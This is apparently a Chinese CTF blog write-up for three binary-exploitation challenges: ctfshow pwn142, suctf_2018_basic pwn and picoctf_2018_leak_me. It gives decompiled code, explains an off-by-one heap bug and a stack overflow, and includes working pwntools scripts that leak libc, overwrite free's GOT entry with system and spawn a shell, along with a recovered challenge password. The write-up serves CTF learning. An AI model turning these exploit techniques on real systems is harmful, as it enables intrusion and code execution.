1、ctfshow pwn142分析
buuctf今天不知道怎么了打不开,学学堆算了


运行一下就是一个菜单
看一下不同的函数,找找漏洞在什么地方
create_heap
__int64 create_heap()
{
_QWORD *v0; // rbx@6
signed int i; // [sp+4h] [bp-2Ch]@1
size_t size; // [sp+8h] [bp-28h]@6
char buf; // [sp+10h] [bp-20h]@6
__int64 v5; // [sp+18h] [bp-18h]@1
v5 = *MK_FP(__FS__, 40LL);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
heaparray[i] = malloc(0x10uLL);//这里应该是存放size的heap
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
v0 = heaparray[i];
v0[1] = malloc(size);
if ( !*((_QWORD *)heaparray[i] + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)heaparray[i] = size;
printf("Content of heap:", &buf);
read_input(*((void **)heaparray[i] + 1), size);这里的输入内容的地址是通过上面的size索引的
puts("SuccessFul");
return *MK_FP(__FS__, 40LL) ^ v5;
}
}
return *MK_FP(__FS__, 40LL) ^ v5;
}
edit_heap
__int64 edit_heap()
{
__int64 v1; // [sp+0h] [bp-10h]@1
__int64 v2; // [sp+8h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[(signed int)v1] )
{
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(*((void **)heaparray[(signed int)v1] + 1), *(_QWORD *)heaparray[(signed int)v1] + 1LL);//读入的是size大小+1,有off by one漏洞
puts("Done !");
}
else
{
puts("No such heap !");
}
return *MK_FP(__FS__, 40LL) ^ v2;
}
现在漏洞找到了
show_heap
__int64 show_heap()
{
__int64 v1; // [sp+0h] [bp-10h]@1
__int64 v2; // [sp+8h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[(signed int)v1] )//后面就是打印size和content
{
printf(
"Size : %ld\nContent : %s\n",
*(_QWORD *)heaparray[(signed int)v1],
*((_QWORD *)heaparray[(signed int)v1] + 1),
v1);
puts("Done !");
}
else
{
puts("No such heap !");
}
return *MK_FP(__FS__, 40LL) ^ v2;
}
delete_heap
__int64 delete_heap()
{
int v1; // [sp+0h] [bp-10h]@1
char buf; // [sp+4h] [bp-Ch]@1
__int64 v3; // [sp+8h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )//这里把保存的size清零了,后面的并没有清零
{
free(*((void **)heaparray[v1] + 1));
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
我们可以申请chunk来把下一个size作为引用,因为引用时+1嘛,这样可以覆盖到下一个chunk的size位,保存过size的chunk就称size_chunk吧,覆盖size_chunk的size为其他大小,然后释放就能申请这个size_chunk,并溢出到其他chunk再修改他保存的之前申请chunk的地址为free_got,之后进行改写,当输出该块的时候,会输出free的地址,就可以泄露libc,最后把free覆盖为system,再删除一个内容是/bin/sh的堆块
应该是需要三个堆块大小为0x18,跟着大佬写一下吧,慢慢来
2、ctfshow pwn142实操
我们先泄露libc看看
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28127)
elf=ELF("./pwn142")
def create(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def edit(idx,content):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(content)
def show(idx):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
def delete(idx):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
create(0x18,"aaaa")
create(0x10,"bbbb")
edit(0,"/bin/sh\x00"+"a"*0x10+"\x41")
delete(1)
create(0x30,p64(0)*4+p64(0x30)+p64(elf.got['free']))
show(1)
p.recvuntil("Content :")
data=p.recvuntil("Done !")
free=u64(data.split(b"\n")[0].ljust(8,b"\x00"))
print(hex(free))
p.interactive()

搜一下

但是打不通,只有去找libc.so.6了
下面换了个写法,因为一直打不通
from pwn import *
context.log_level = 'debug'
p=remote("pwn.challenge.ctf.show",28103)
e=ELF("./pwn142")
free_got=e.got["free"]
def create(size,content):
p.sendafter("Your choice :",b"1")
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",content)
def edit(index,content):
p.sendlineafter("Your choice :",b"2")
p.sendlineafter("Index :",str(index))
p.sendafter("Content of heap : ",content)
def show(index):
p.sendlineafter("Your choice :",b"3")
p.sendlineafter("Index :",str(index))
def delete(index):
p.sendlineafter("choice :","4")
p.sendlineafter(b"Index :",str(index))
create(0x28,b"a"*4)
create(0x10,b"b"*4)# it has to be 0x10
edit(0,b"/bin/sh\x00"+b"a"*0x20+b'\x41')
delete(1)
create(0x30,p64(0)*4+p64(0x10)+p64(free_got))
show(1)
p.recvuntil("Content : ")
free_=u64(p.recv(6).ljust(8,b"\x00"))
libc=ELF("./libc.so.6")
libc_base=free_-libc.sym["free"]
system=libc_base+libc.sym["system"]
edit(1,p64(system))
delete(0)
p.interactive()

3、suctf_2018_basic pwn分析


64位full+NX,有一个输入

这里应该是后门了,前面main函数有栈溢出漏洞,再跳到这里执行应该就可以
4、suctf_2018_basic pwn实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",25892)
execve=0x401157
payload=b'a'*(0x110+8)+p64(execve)
p.sendline(payload)
p.interactive()

5、picoctf_2018_leak_me分析


32位partial+NX,问你名字

和什么密码有关看起来

in函数里面这一坨好像与打开password文件有关
flag

这里能不能成功似乎和stream有关,s应该是存放flag的
main函数中,name存在var_154,因为反汇编不了,所以不太好看
因为要填充,所以计算一下两者之间的距离是

stream里面是password所以var_154里面是0x100*a+password+”\x00″*0x4c…,puts遇到\x00才会停止,填充256个字符就可以顺带打印出password


a_reAllY_s3cuRe_p4s$word_f85406应该就是密码
最后我们直接nc然后输入就行,不用写脚本了
6、picoctf_2018_leak_me实操

好啦,就到这儿吧……










